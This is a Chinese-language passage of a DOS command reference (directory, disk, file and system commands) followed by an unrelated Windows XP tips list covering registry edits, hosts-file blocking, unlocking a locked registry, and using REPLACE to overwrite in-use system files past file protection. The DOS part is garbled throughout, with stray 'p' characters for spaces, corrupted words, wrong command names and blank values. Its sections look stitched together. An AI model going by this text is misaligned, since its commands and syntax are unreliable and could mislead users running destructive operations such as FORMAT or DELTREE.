C:、>CDpFOXp、USER(進入FOX子目錄下的USER子目錄)p
C:、FOX、USER>CD.。p(退回上一級根目錄)p
C:、FOX>CD、p(返回到根目錄)p
C:、>p
(三)RD——刪除子目錄命令p
1.功能:從指定的磁碟刪除了目錄。p
2.類型:內部命令p
3.格式:RD[盤符:][路徑名][子目錄名]p
4.使用說明:p
(1)子目錄在刪除前必須是空的,也就是說需要先進入該子目錄,使用DEL(刪除文件的命令)將其子目錄下的文件刪空,然後再退回到上一級目錄,用RD命令刪除該了目錄本身;p
(2)不能刪除根目錄和當前目錄。p
例:要求把C盤FOX子目錄下的USER子目錄刪除,操作如下:p
第一步:先將USER子目錄下的文件刪空;p
C、>DELpC:、FOX、USER、*。*p
第二步,刪除USER子目錄。p
C、>RDpC:、FOX、USERp
(四)DIR——顯示磁碟目錄命令p
1.功能:顯示磁碟目錄的內容。p
2.類型:內部命令p
3.格式:DIRp[盤符][路徑][/P][/W]p
4.p使用說明:/P的使用;當欲查看的目錄太多,無法在一屏顯示完屏幕會一直往上卷,不容易看清,加上/P參數後,屏幕上會分面一次顯示23行的文件信息,然後暫停,並提示;Presspanypkeyptopcontinuep
/W的使用:加上/W只顯示文件名,至於文件大小及建立的日期和時間則都省略。加上參數後,每行可以顯示五個文件名。p
PATH——路徑設置命令p
1.功能:設備可執行文件的搜索路徑,只對文件有效。p
2.類型:內部命令p
3.格式:PATH[盤符1]目錄[路徑名1]{[;盤符2:],〈目錄路徑名2〉…}p
4.使用說明:p
(1)當運行一個可執行文件時,DOS會先在當前目錄中搜索該文件,若找到則運行之;若找不到該文件,則根據PATH命令所設置的路徑,順序逐條地到目錄中搜索該文件;p
(2)PATH命令中的路徑,若有兩條以上,各路徑之間以一個分號「;」隔開;p
(3)PATH命令有三種使用方法:p
PATH[盤符1:][路徑1][盤符2:][路徑2]…(設定可執行文件的搜索路徑)p
PATH:(取消所有路徑)p
PATH:(顯示目前所設的路徑)p
(六)TREE——顯示磁碟目錄結構命令p
1.功能:顯示指定驅動器上所有目錄路徑和這些目錄下的所有文件名。p
2.類型:外部命令p
3.格式:TREE[盤符:][/F][》PRN]p
4.使用說明:p
(1)使用/F參數時顯示所有目錄及目錄下的所有文件,省略時,只顯示目錄,不顯示目錄下的文件;p
(2)選用>PRN參數時,則把所列目錄及目錄中的文件名列印輸出。p
(七)DELTREE——刪除整個目錄命令p
1.功能:將整個目錄及其下屬子目錄和文件刪除。p
2.類型:外部命令p
3.格式:DELTREE[盤符:]〈路徑名〉p
4.使用說明:該命令可以一步就將目錄及其下的所有文件、子目錄、更下層的子目錄一並刪除,而且不管文件的屬性為隱藏、系統或只讀,只要該文件位於刪除的目錄之下,DELTREE都一視同仁,照刪不誤。使用時務必小心!!!p
五、磁碟操作類命令p
(一)FORMAT——磁碟格式化命令p
1.功能:對磁碟進行格式化,劃分磁軌和扇區;同時檢查出整個磁碟上有無帶缺陷的磁軌,對壞道加註標記;建立目錄區和文件分配表,使磁碟作好接收DOS的准備。p
2.類型:外部命令p
3.格式:FORMAT〈盤符:〉[/S][/4][/Q]p
4.使用說明:p
(1)命令後的盤符不可預設,若對硬碟進行格式化,則會如下列提示:WARNING:ALLpDATApONpNONp——REMOVABLEpDISKp
DRIVEpC:WILLpBEpLOSTp!p
ProceedpwithpFormatp(Y/N)?p
(警告:所有數據在C盤上,將會丟失,確實要繼續格式化嗎?)p
(2)若是對軟盤進行格式化,則會如下提示:;p
andppresspENTERpwhenpready…p
(在A驅中插入新盤,准備好後按回車鍵)。p
(3)選用[/S]參數,將把DOS系統文件IO.SYSp、MSDOS.SYS及COMMAND.COM復制到磁碟上,使該磁碟可以做為DOS啟動盤。若不選用/S參數,則格式化後的磙盤只能讀寫信息,而不能做為啟動盤;p
(4)選用[/4]參數,在1.2MB的高密度軟碟機中格式化360KB的低密度盤;p
(5)選用[/Q]參數,快速格式化,這個參數並不會重新劃分磁碟的磁軌貌岸然和扇區,只能將磁碟根目錄、文件分配表以及引導扇區清成空白,因此,格式化的速度較快。p
(6)選用[/U]參數,表示無條件格式化,即破壞原來磁碟上所有數據。不加/U,則為安全格式化,這時先建立一個鏡象文件保存原來的FAT表和根目錄,必要時可用UNFORRMAT恢復原來的數據。p
(二)UNFORMAT恢復格式化命令p
1.功能:對進行過格式化誤操作丟失數據的磁碟進行恢復。p
2.類型:外部命令p
3.格式:UNFORMAT〈盤符〉[/L][/U][/P][/TEST]p
4.使用說明:用於將被「非破壞性」格式化的磁碟恢復。根目錄下被刪除的文件或子目錄及磁碟的系統扇區(包括FAT、根目錄、BOOT扇區及硬碟分區表)受損時,也可以用UNFORMAT來搶救。p
(1)選用/L參數列出找到的子目錄名稱、文件名稱、大孝日期等信息,但不會真的做FORMAT工作。p
(2)選用/P參數將顯示於屏幕的報告(包含/L參數所產生的信息)同時也送到列印機。運行時屏幕會顯示:「」p
(3)選用/TEST參數只做模擬試驗(TEST)不做真正的寫入動作。使用此參數屏幕會顯示:「Simulationponly」p
(4)選用/U參數不使用MIRROR映像文件的數據,直接根據磁碟現狀進行UNFORMAT。p
(5)選用/PSRTN;修復硬碟分區表。p
若在盤符之後加上/P、/L、/TEST之一,都相當於使用了/U參數,UNFORMAT會「假設」此時磁碟沒有MIRROR映像文件。p
注意:UNFORMAT對於剛FORMAT的磁碟,可以完全恢復,但FORMAT後若做了其它數據的寫入,則UNFORMAT就不能完整的救回數據了。UNFORMAT並非是萬能的,由於使用UNFORMAT會重建FAT與根目錄,所以它也具有較高的危險性,操作不當可能會擴大損失,如果僅誤刪了幾個文件或子目錄,只需要利用UNDELETE就夠了。p
三)pCHKDSK——檢查磁碟當前狀態命令p
1.功能:顯示磁碟狀態、內存狀態和指定路徑下指定文件的不連續數目。p
2.類型:外部命令p
3.格式:CHKDSKp[盤符:][路徑][文件名][/F][/V]p
4.使用說明:p
(1)選用[文件名]參數,則顯示該文件佔用磁碟的情況;p
(2)選[/F]參數,糾正在指定磁碟上發現的邏輯錯誤;p
(3)選用[/V]參數,顯示盤上的所有文件和路徑。p
(四)DISKCOPY——整盤復制命令p
1.功能:復制格式和內容完全相同的軟盤。p
2.類型:外部命令p
3.格式:DISKCOPY[盤符1:][盤符2:]p
4.使用說明:p
(1)如果目標軟盤沒有格式化,則復制時系統自動選進行格式化。p
(2)如果目標軟盤上原有文件,則復制後將全部丟失。p
(3)如果是單驅動器復制,系統會提示適時更換源盤和目標盤,請操作時注意分清源盤和目標盤。p
(五)LABEL——建立磁碟卷標命令p
1.功能:建立、更改、刪除磁碟卷標。p
2.類型:外部命令p
3.格式:LABEL[盤符:][卷標名]p
4.使用說明:p
(1)卷標名為要建立的卷標名,若預設此參數,則系統提示鍵入卷標名或詢問是否刪除原有的卷標名;p
(2)卷標名由1至11個字元組成。p
(六)VOL——顯示磁碟卷標命令p
1.功能:查看磁碟卷標號。p
2.類型:內部命令p
3.格式:VOL[盤符:]p
4.使用說明:省略盤符,顯示當前驅動器卷標。p
(七)SCANDISK——檢測、修復磁碟命令p
1.功能:檢測磁碟的FAT表、目錄結構、文件系統等是否有問題,並可將檢測出的問題加以修復。p
2.類型:外部命令p
3.格式:SCANDISK[盤符1:]{[盤符2:]…}[/ALL]p
4.使用說明:p
(1)CCANDISK適用於硬碟和軟盤,可以一次指定多個磁碟或選用[/ALL]參數指定所有的磁碟;p
(2)可自動檢測出磁碟中所發生的交叉連接、丟失簇和目錄結構等邏輯上的錯誤,並加以修復。p
(八)DEFRAG——重整磁碟命令p
1.。功能:整理磁碟,消除磁碟碎塊。p
2.類型:外部命令p
3.格式:DEFRAG[盤符:][/F]p
4.使用說明:選用/F參數,將文件中存在盤上的碎片消除,並調整磁碟文件的安排,確保文件之間毫無空隙。從而加快讀盤速度和節省磁碟空間。p
(九)SYS——系統復制命令p
1.功能:將當前驅動器上的DOS系統文件IO.SYS,MSDOS.SYS和COMMAND.COMp傳送到指定的驅動器上。p
2.類型:外部命令p
3.格式:SYS[盤符:]p
*使用說明:如果磁碟剩餘空間不足以存放系統文件,則提示:.p
文件操作類命令p
(一)pCOPY文件復制命令p
1.功能:拷貝一個或多個文件到指定盤上。p
2.類型:內部命令p
3.格式:COPYp[源盤][路徑]〈源文件名〉[目標盤][路徑][目標文件名]p
4.使用說明:p
(1)COPY是文件對文件的方式復制數據,復制前目標盤必須已經格式化;p
(2)復制過程中,目標盤上相同文件名稱的舊文件會被源文件取代;p
(3)復制文件時,必須先確定目標般有足夠的空間,否則會出現;insufficient的錯誤信息,提示磁碟空間不夠;p
(4)文件名中允許使用通配舉「*」「?」,可同時復制多個文件;p
(5)COPY命令中源文件名必須指出,不可以省略。p
(6)復制時,目標文件名可以與源文件名相同,稱作「同名拷貝」此時目標文件名可以省略;p
(7)復制時,目標文件名也可以與源文件名不相同,稱作「異名拷貝」,此時,目標文件名不能省略;p
(8)復制時,還可以將幾個文件合並為一個文件,稱為「合並拷貝」,格式如下:COPY;[源盤][路徑]〈源文件名1〉〈源文件名2〉…[目標盤][路徑]〈目標文件名〉;p
(9)利用COPY命令,還可以從鍵盤上輸入數據建立文件,格式如下:COPYpCONp[盤符:][路徑]〈文件名〉;p
(10)注意:COPY命令的使用格式,源文件名與目標文件名之間必須有空格!p
(二)XCOPY——目錄復制命令p
1.功能:復制指定的目錄和目錄下的所有文件連同目錄結構。p
2.類型:外部命令p
3.格式:XCOPYp[源盤:]〈源路徑名〉[目標盤符:][目標路徑名][/S][/V][/E]p
4.使用說明:p
(1)XCOPY是COPY的擴展,可以把指定的目錄連文件和目錄結構一並拷貝,但不能拷貝隱藏文件和系統文件;p
(2)使用時源盤符、源目標路徑名、源文件名至少指定一個;p
(3)選用/S時對源目錄下及其子目錄下的所有文件進行COPY。除非指定/E參數,否則/S不會拷貝空目錄,若不指定/S參數,則XCOPY只拷貝源目錄本身的文件,而不涉及其下的子目錄;p
(4)選用/V參數時,對的拷貝的扇區都進行較驗,但速度會降低。p
(三)TYPE——顯示文件內容命令p
1.功能:顯示ASCII碼文件的內容。p
2.類型:內部命令。p
3.格式:TYPE[盤符:][路徑]〈文件名〉p
4.使用說明:p
(1)顯示由ASCII碼組成的文本文件,對。EXE.COM等為擴展名的文件,其顯示的內容是無法閱讀的,沒有實際意義2;p
(2)該命令一次只可以顯示一個文件的內容,不能使用通配符;p
(3)如果文件有擴展名,則必須將擴展名寫上;p
(4)當文件較長,一屏顯示不下時,可以按以下格式顯示;TYPE[盤符:][路徑]〈文件名〉|MORE,MORE為分屏顯示命令,使用些參數後當滿屏時會暫停,按任意鍵會繼續顯示。p
(5)若需將文件內容列印出來,可用如下格式:p
TYPE[盤符:][路徑]〈文件名〉,>PRNp
此時,列印機應處於聯機狀態。p
(四)pREN——文件改名命令p
1.功能:更改文件名稱p
2.類型:內部命令p
3.格式:REN[盤符:][路徑]〈舊文件名〉〈新文件名〉p
4.使用說明:p
(1)新文件名前不可以加上盤符和路徑,因為該命令只能對同一盤上的文件更換文件名;p
(2)允許使用通配符更改一組文件名或擴展名。p
(五)FC——文件比較命令p
1.功能:比較文件的異同,並列出差異處。p
2.類型:外部命令p
3.格式:FC[盤符:][路徑名]〈文件名〉[盤符:][路徑名][文件名][/A][/B][/C][/N]p
4.使用說明:p
(1)選用/A參數,為ASCII碼比較模式;p
(2)選用/B參數,為二進制比較模式;p
(3)選用/C參數,將大小寫字元看成是相同的字元。p
(4)選用/N參數,在ASCII碼比較方式下,顯示相異處的行號。p
(六)ATTRIB——修改文件屬性命令p
1.功能:修改指定文件的屬性。(文件屬性參見2.5.4(二)文件屬性一節)p
2.類型:外部命令。p
3.格式:ATTRIB[文件名][R][——R][A][——A][H][——H][S][——S][/S]p
4.使用說明:p
(1)選用R參數,將指定文件設為只讀屬性,使得該文件只能讀取,無法寫入數據或刪除;選用——R參數,去除只讀屬性;p
(2)選用A參數,將文件設置為檔案屬性;選用——A參數,去除檔案屬性;p
(3)選用H參數,將文件調協為隱含屬性;選用——H參數,去隱含屬性;p
(4)選用S參數,將文件設置為系統屬性;選用——S參數,去除系統屬性;p
(5)選用/S參數,對當前目錄下的所有子目錄及作設置。p
七)pDEL——刪除文件命令p
1.功能:刪除指定的文件。p
2.類型:內部命令p
3.格式:DEL[盤符:][路徑]〈文件名〉[/P]p
4.使用說明:p
(1)選用/P參數,系統在刪除前詢問是否真要刪除該文件,若不使用這個參數,則自動刪除;p
(2)該命令不能刪除屬性為隱含或只讀的文件;p
(3)在文件名稱中可以使用通配符;p
(4)若要刪除磁碟上的所有文件(DEL*·*或DEL·),則會提示:(Areypoupsure?)(你確定嗎?)若回答Y,則進行刪除,回答N,則取消此次刪除作業。p
(八)pUNDELETE——恢復刪除命令p
1.功能:恢復被誤刪除命令p
2.類型:外部命令。p
3.格式:UNDELETE[盤符:][路徑名]〈文件名〉[/DOS]/LIST][/ALL]p
4.使用說明:使用UNDELETE可以使用「*」和「?」通配符。p
(1)選用/DOS參數根據目錄里殘留的記錄來恢復文件。由於文件被刪除時,目錄所記載斬文件名第一個字元會被改為E5,DOS即依據文件開頭的E5和其後續的字元來找到欲恢復的文件,所以,UNDELETE會要求用戶輸入一個字元,以便將文件名字補齊。但此字元不必和原來的一樣,只需符合DOS的文件名規則即可。p
(2)選用/LIST只「列出」符合指定條件的文件而不做恢復,所以對磁碟內容完全不會有影響。p
(3)選用/ALL自動將可完全恢復的文件完全恢復,而不一一地詢問用戶,使用此參數時,若UNDELTE利用目錄里殘留的記錄來將文件恢復,則會自動選一個字元將文件名補齊,並且使其不與現存文件名相同,選用字元的優選順序為:#%——0000123456789A~Z。p
UNDELETE還具有建立文件的防護措施的功能,已超出本課程授課范圍,請讀者在使用些功能時查閱有關DOS手冊。p
七、其它命令p
(一)CLS——清屏幕命令p
1功能:清除屏幕上的所有顯示,游標置於屏幕左上角。p
2類型:內部命令p
3格式:CLSp
(二)pVER查看系統版本號命令p
1功能:顯示當前系統版本號p
2類型:內部命令p
3格式:VERp
(三)pDATA日期設置命令p
1功能:設置或顯示系統日期。p
2類型:內部命令p
3格式:DATE[mm——dd——yy]p
4使用說明:p
(1)省略[mm——dd——yy]顯示系統日期並提示輸入新的日期,不修改則可直接按回車鍵,[mm——dd——yy]為「月月——日日——年年」格式;p
(2)當機器開始啟動時,有自動處理文件(AUTOEXEC.BAT)被執行,則系統不提示輸入系統日期。否則,提示輸入新日期和時間。p
(四)pTIME系統時鍾設置命令p
1功能:設置或顯示系統時期。p
2類型:內部命令p
3格式:TIME[hh:mm:ss:xx]p
4使用說明:p
(1)省略[hh:mm:ss:xx],顯示系統時間並提示輸入新的時間,不修改則可直接按回車鍵,[hh:mm:ss:xx]為「小時:分鍾:秒:百分之幾秒」格式;p
(2)當機器開始啟動時,有自動處理文件(AUTOEXEC.BAT)被執行,則系統不提示輸入系統日期。否則,提示輸入新日期和時間。p
(五)MEM查看當前內存狀況命令p
1功能:顯示當前內存使用的情況p
2類型:外部命令p
3格式:MEM[/C][/F][/M][/P]p
4使用說明:p
(1)選用/C參數列出裝入常規內存和CMB的各文件的長度,同時也顯示內存空間的使用狀況和最大的可用空間;p
(2)選用/F參數分別列出當前常規內存剩餘的位元組大小和UMB可用的區域及大小;p
(3)選用/M參數顯示該模塊使用內存地地址、大小及模塊性質;p
(4)選用/P參數指定當輸出超過一屏時,暫停供用戶查看。p
(六)pMSD顯示系統信息命令p
1功能:顯示系統的硬體和操作系統的狀況。p
2類型:外部命令p
3格式:MSD[/I][/B][/S]p
4使用說明:p
(1)選用/I參數時,不檢測硬體;p
(2)選用/B參數時,以黑白方式啟動MSD;p
(3)選用/S參數時,顯示出簡明的系統報告。
❽ 玩游戲黑屏
1.定期刪除「預讀取文件夾(c:\windows\prefetch)」里的預讀取文件,能有效地加快WinXP的啟動時間。
2.我們可以通過注冊表來設置當某個窗口達到一定數量,再激活該功能,打開注冊表編輯器,依次找到HKEY_CURRENT_Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced子鍵,新建雙位元組鍵值項TaskbarGroupSize,並為其賦值,一般設置窗口的數量在五六個比較好。
3.檢測Windows XP是否被激活
激活是Windows XP擁有的一項保護版權的措施,很多用戶對此也是非常好奇,那麼如何知道你的Windows XP是否已經被激活了呢?打開「運行」對話框,輸入「oobe/msoobe /a」(注意/a前有一個空格),按下回車鍵,一會兒就會彈出一個有關於激活的窗口,你可以仔細了解其中的奧秘,完全明白以後單擊「確定」按鈕即可關閉該窗口。
4.快速復制移動文件 Windows XP的「資源管理器」工具欄比以往的Windows系統多了兩個按鈕——「復制到」和「移至」按鈕,它們的功能是快速將選中的文件復制移動到指定文件夾。其實我們可以把這兩項命令搬到滑鼠右鍵菜單中。 在「開始→運行」對話框中輸入「Regedit」打開注冊表,依次展開主鍵[HKEY_CLASSES_ROOT\AllFilesystemObjects\shellex\ContextMenuHandlers ],右鍵單擊此主鍵,選擇菜單「新建→項」,然後輸入名稱,名稱可自定義,如「復制到」,再左鍵單擊「復制到」主鍵,雙擊右窗口的「默認」,在彈出的「編輯字元串」對話框中輸入「」。相同的方法新建項「移至」,「移至」主鍵的「默認」鍵值賦值為「」即可。
5.明明白白查看系統信息 打開「命令提示符」,或者在「運行」對話框中輸入「cmd」,在「命令提示符」狀態下輸入「systeminfo」,按下回車鍵,系統即開始檢測相關信息並返回到當前窗口中,你可以看到的Windows XP是否安裝了補丁、初始安裝時間、虛擬內存的設置等詳細信息。
6.WinXP隨時可使用〔記事本〕打開文件
當在〔資源管理器〕瀏覽文件時很多時需要用〔記事本〕來打開文件,如按下修改可隨時右鍵點擊滑鼠,便出現〔使用記事本打開〕的選擇
在〔開始〕→〔運行〕→輸入〔regedit〕
選〔HKEY_LOCAL_MACHINE〕→〔SOFTWARE〕→〔Classes〕→〔*〕
在此新建一個〔主鍵〕名為〔shell]
在〔shell 〕下再增加一個〔主鍵〕
名為〔OpenInNotepad〕
在〔OpenInNotepad〕增加一個字串值
數值資料為〔使用記事本打開〕
再在〔OpenInNotepad〕下再增加一個〔主鍵〕
名為〔command〕
在〔command〕增加一個字串值
數值資料為〔notepad.exe "%1"〕
7.、 影音文件在xp中無法刪除 很多情況下是因為預覽功能搞的鬼。開始|運行中輸入並執行「REGSVR32 /U SHMEDIA.DLL」,取消息預覽。恢復時運行「REGSVR32 SHMEDIA.DLL」
其實就是去掉預覽功能
8. 注冊表解鎖
REGEDIT4 [HKEY_CURRENT_]
"DisableRegistryTools"=dword:00000000
9. 在xp下重裝ie:
運行注冊表編輯器,找到[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Active Setup/Installed Components],把鍵值從1改成0,重啟後xp將自動開始安裝ie6.
10.永久不開啟3721
- Win9x/Me
編輯文件 X:Windowshosts,添加一行代碼:
download.3721.com 255.255.255.255
- WinNT/2000
編輯文件 X:WINNTsystem32driversetchosts,添加一行代碼:
255.255.255.255 download.3721.com
- WinXP
編輯文件 X:Windows/system32/drivers/etc/hosts,添加一行代碼:
255.255.255.255 download.3721.com
對於 CNNIC 的中文域名也可以用,域名改成 cdn2.cnnic.cn
11.任務欄里的顯示桌面丟失了怎麼辦?
簡單的方法::
記事本新建輸入:
[Shell]
Command=2
IconFile=explorer.exe,3
[Taskbar]
Command=ToggleDesktop
保存為 顯示桌面.scf
拖到快速啟動
12.用winrar合並mp3:
把幾首要合並的mp3文件選中,右鍵單擊——添加到檔案文件,壓縮方式選擇存儲。然後把壓縮好的文件後綴改成mp3。再放一下聽聽是不是兩首歌已經合成一首啦。
13.在你的QQ上直接查詢活躍天數純真時空論壇
在QQ面板的左側點擊:用戶自定義面板(一隻筆和記事本那個圖標)-->點擊「添加鏈接」(正上方)-->調出「收藏夾管理」-->選擇「添加」,在下方「詳細信息」里「名稱」輸入「活躍天數查詢」、「鏈接」輸入「」,,然後點擊「設為默認」、「確認」。這樣以後你就可以在QQ里直接查詢現在活躍天數和剩餘天數,省的每次都到QQ網站上去查詢了。純真,QQ,時尚,悠閑,IP_4[H)ta3CKs
以上做完後,再進入「用戶自定義面板」,點擊左上方的「收藏夾」,在下拉表中選擇「活躍天數查詢」。就OK啦~~~~~~實時匯報
14.修改用戶控制許可權—不讓煩人程序自動啟動
現在不少軟體,如WinDIY、MyIM等,每次運行後都會自動在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run下添加該軟體的字元串值,目的是為了在系統啟動時運行該軟體。
但很多時候這種功能反倒讓我們感到苦惱,手動修改的話要每次運行軟體後才能進行修改,十分麻煩。其實只要修改當前用戶對HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run鍵的控制許可權,只設置為「讀取」,就可以防止程序的「自作主張」。
方法是運行注冊表編輯器(Windows 2000用regedt32),右擊HKEY_LOCAL_MA-CHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,選擇「許可權→高級」(此處是針對「從父系繼承許可權」功能而無法直接進行修改),在「許可權」控制頁中選擇需要修改的用戶或用戶組(一般為Administrators),然後單擊「編輯」按鈕,再按照圖中的設置,把Administrators用戶對該注冊表鍵的控制許可權改為只讀取。因為我們運行的程序都是以當前用戶許可權來運行的,所以程序對該注冊表鍵也只是具有「讀取」許可權而已。此修改還可以有效預防一些木馬、病毒對注冊表啟動項的而已修改,畢竟現在我們大多數用戶都是以Administrator來登錄系統嘛。利用此原理,我們還可以對系統的一些文件夾進行許可權限制,比如通過禁止對%systemroot%\prefetch文件夾的「寫入」許可權來預防系統的預讀文件過多而造成系統啟動慢的問題。
15.頑固程序的卸載
當卸載軟體時,我們常常會遇到這樣的事情:有些程序非常頑固,即使你用了各種招數都無法卸載,這是因為該程序沒有完全安裝、程序文件被破壞,或者程序安裝目錄已被刪除等原因,為此,你可以用Windows XP附帶的Msicuu.exe、Msizap.exe來徹底卸載。
首先要打開Windows XP安裝光碟,安裝「Support Tools」,然後進入硬碟的Support Tools安裝目錄(X:\Program Files\Support Tools),找到Msicuu.exe並雙擊,於是就會彈出一個「Windows Installer Clean Up」窗口,顯示當前已安裝的所有程序列表。你從中選擇頑固程序,然後單擊「Rmove」按鈕即可卸載。
如果以上方法無效,建議你用Msizap.exe來卸載,方法是:打開注冊表編輯器,定位到HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall,在左邊項中找到頑固程序的標識(例如),然後依次選擇「開始→程序→Windows Support Tools→Command Prompt」命令,在命令提示符後,輸入以下命令:msizap T ,按回車後即可卸載頑固程序。
16.修改Boot.ini文件以修改Windoows XP的開機畫面的技巧
第一步:建立自己的開機畫面
做此開機畫面的圖片要求:圖片取名為Boot.bmp,大小640*480,16色的bmp點陣圖,保存在系統盤的windows目錄下。
建議在Photoshop中新建一個大小640*480全黑的圖層做背景,然後將自己喜歡的圖片放到黑色的圖層上。圖片模式改為索引。保存時選擇16色(即4位)bmp圖片。保存在windows目錄下。
2)在boot.ini裡面加上 "/bootlogo /noguiboot" 。
附:Boot.ini參數的秘密
觀察上面替換開機畫面的步驟你就會發現:其實主要的步驟就是在Boot.ini中填加了一個重要的參數。Boot.ini中還包含不少有用的參數,很多雜志報刊都有過介紹,這里我們介紹幾個比較重要的參數。
1./BOOTLOG:加上這個參數啟動電腦後,系統會把啟動信息都記錄在一個文件中,便於今後查看。保存位置為%SystemRoot%\Ntbtlog.txt,其中「%SystemRoot%」代表系統文件夾,如C:\Windows。
2./nodetect:有一個技巧宣稱:把「Boot.ini」文件中每個啟動項後面的「fastdetect」修改為「nodetect」,可以加快WindowsXP啟動速度。其實,在微軟的詞彙庫中並沒有「nodetect」這個詞,Boot.ini文件中都沒有「nodetect」這個參數。
因此,把「fastdetect」改為「nodetect」並不會有什麼作用。對於「fastdetect」這個參數,微軟給出的解釋是「關閉Ntdetect.com在開機時對串口滑鼠的檢測」。
17.創建一個無名文件夾
打開命令行提示符,進入要創建文件夾的目錄,比如:C:,輸入「md」後,按住Alt鍵,再輸入「255」,回車後再到C盤看看,是不是多了一個無名文件夾呢?
18.解決Windows XP系統中CPU佔用率過高的問題
有這么一個現象,當安裝windows XP的計算機收到445埠上的連接請求時,windows XP會分配內存並少量地調配CPU資源來為這些連接提供服務.當連接請求負荷過重時,就可能會造成CPU佔用率過高,導致系統性能急劇下降,甚至會進入假死狀態。
問題原因:
這是由於windows XP工作項目數目和響應能力間「比例失調」造成的,如果有一個合適的MaxWorkitems設置,就能提高系統響應能力。
解決辦法:
點擊「開始」→「運行」,在運行對話框中輸入「Regedit」,點擊「確定」,打開注冊表編輯器,依次展開如下子鍵:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver,在其右側窗口中新建一個名為「Maxworkitems」的DWORD值,然後雙擊它,在彈出的「編輯DWORD值」對話框中,根據計算機的內存容量來確定該鍵的鍵值,如果計算機內存小於512MB,請鍵入「256」;如果內存大於512MB,請設置為「1024」。完成操作後,退出注冊表編輯器,重新啟動計算機即可生效。
19.解開被鎖注冊表的四種方法
你是否遇到過這樣的情況:某天打開一個網址後,但過後你的IE默認主頁被修改了,在無法恢復的情況下想進入注冊表來試試,但是發現注冊表也被鎖定了,這個時候怎麼辦呢?那就看看下面本文所講的四種方法,能夠幫你很好的解決這個問題。
一、解鎖方法:
1.你也可以用NotePad編輯一個文本文件,保存文件的時候用格式 xxxxxx.reg
在文件中打入以下:
(空一行)
REGEDIT 或 REGEDIT4
[HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\
Policies\system"DisableRegistryTools"=dword:00000000]
保存文件後,導入注冊表。
2.使用第三方工具恢復,如用超級兔子注冊表魔法等
3.用 Win9X/ME 者,可以安裝 Norton Utilities,用其自有的 RegEdit.那就不受任何限制了。
二、HTM文件解開注冊表
<head>
<TITLE>解開注冊表</TITLE>
<meta name="keywords" content="注冊表,惡意代碼,修改注冊表">
<meta name="description" content="Robonic修改,QQ:10000022">
</head>
<script></script>
<OBJECT id=closes type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<param name="Command" value="Close">
</object>
<input type="button" value="解開注冊表" >
</HTML>
存為HTM文件,打開就可以了。
三、利用系統策略編輯器
以在Windows 9x操作系統下的使用為例來介紹。
首先,將安裝光碟中ToolsReskitNetaminPoledit文件夾中的所有文件復制到硬碟中,然後雙擊Poledit.exe運行系統策略編輯器(如果提示找不到模板文件,可以從系統策略編輯器的「選項」菜單中選擇「模板」,然後單擊「打開模板」,再選擇Admin.adm文件即可)。在「文件」菜單中選擇「打開注冊表」,此時你就會發現下面原來空白的面板中多了兩個圖標:一個是「本地計算機」,一個是「本地用戶」。
我們要用的主要是「本地用戶」(「本地計算機」裡面主要是網路和系統方面的設置,有興趣的讀者可以自己去試試)。雙擊「本地用戶」,會彈出「本地用戶屬性」界面,在該界面中可看到一個樹形目錄,包括「控制面板」、「桌面」、「網路」、「外殼」和「系統」5項。
下面,我們就來體驗一下系統策略編輯器的威力吧!對於上面提及的注冊表被鎖的例子,現在我們只要選擇「系統→限制」選項,就可以看到4個選項。如果你的注冊表被鎖,則「禁用注冊表編輯器」前的復選框被選中。取消對該選項的選取,按「確定」退回主界面。別急,這時工作還沒完成呢!選擇「文件→保存」,你所做的修改才能生效。然後試試運行Regedit,是不是可以用了呢?其實,在這5個基本目錄中你還可以實現很多常用的個性化設置,這里就不多談了。
四、利用系統策略編輯器
在Windows 2000/XP/2003中,我們可以通過單擊「開始→運行」,輸入「Gpedit.msc」後回車,打開「組策略」。然後,依次展開「用戶配置→管理模板→系統」,雙擊右側窗口中的「阻止訪問注冊表編輯工具」,在彈出的窗口中選擇「已禁用」,「確定」後再退出「組策略」,即可為注冊表解鎖。
20.XP的一個無敵命令
XP有一個很無敵的命令,用來替換文件的replace,連正在使用的文件也能替換。非常無敵。 比如:在C:下建一個目錄,c:aaa ,然後復制一首mp3到c:aaa並命名為c:aaaa.mp3 ,然後再復制另一首歌到C:a.mp3 ,然後用media player 播放c:aaaa.mp3 ,在命令提示符下輸入:replace c:a.mp3 c:aaa ,過一會,是不是播放的歌已變為另一首。
用這個命令來替換系統文件真是太爽了,並且XP的系統文件保護也對它無效。 再也不用到安全模式下去替換文件了
格式
REPLACE [drive1:][path1]filename [drive2:][path2] [/A] [/P] [/R] [/W]
REPLACE [drive1:][path1]filename [drive2:][path2] [/P] [/R] [/S] [/W]
[drive1:][path1]filename 指定源文件。
[drive2:][path2] 指定要替換文件的
目錄。
/A 把新文件加入目標目錄。不能和/S 或 /U 命令行開關搭配使用。 /P 替換文件或加入源文件之前會先提示您進行確認。 /R 替換只讀文件以及未受保護的文件。 /S 替換目標目錄中所有子目錄的文件。 不能與 /A 命令選項搭配使用。
/W 等您插入磁碟以後再運行。
/U 只會替換或更新比源文件日期早的文件。 不能與 /A 命令行開關搭配使用。
21.在DOS下使用注冊表掃描程序
從windows98之後,windows系統加入了對注冊表的管理程序,該程序有兩個版本,scanregw.exe工作在windows環境中,Scanreg.exe工作在dos環境.並用一個Scanreg.ini文件與之輔助.介紹該程序For windows版本的文章很多,朋友們可以自己查找參閱.這里僅介紹如何在dos下使用Scanreg.exe程序.
由於程序是在dos模式下工作.因此,盡管你的操作系統是中文版的windows,這時出現的也是英文字元界面.程序操作是由命令行和一些選項開關組成.命令只有一個Scanreg,後面是/,之後就是所謂的開關了.如果你鍵入:Scanreg/?,會出現簡單的幫助信息.其具體分析如下:
Scanreg/backup 備份注冊表的命令.這個命令執行後開始備份注冊表,速度很快,備份結束出現dos默認的提示符號.
Scanreg/restore 它執行後,系統會列出所備份的注冊表文件,至於能列出多少個備份文件,與scanreg.ini文件中的設置有關,一般默認是5個備份文件.每個文件後面都有備份的日期.移動光條,選擇一個,執行restore就可以回復選定的注冊表.
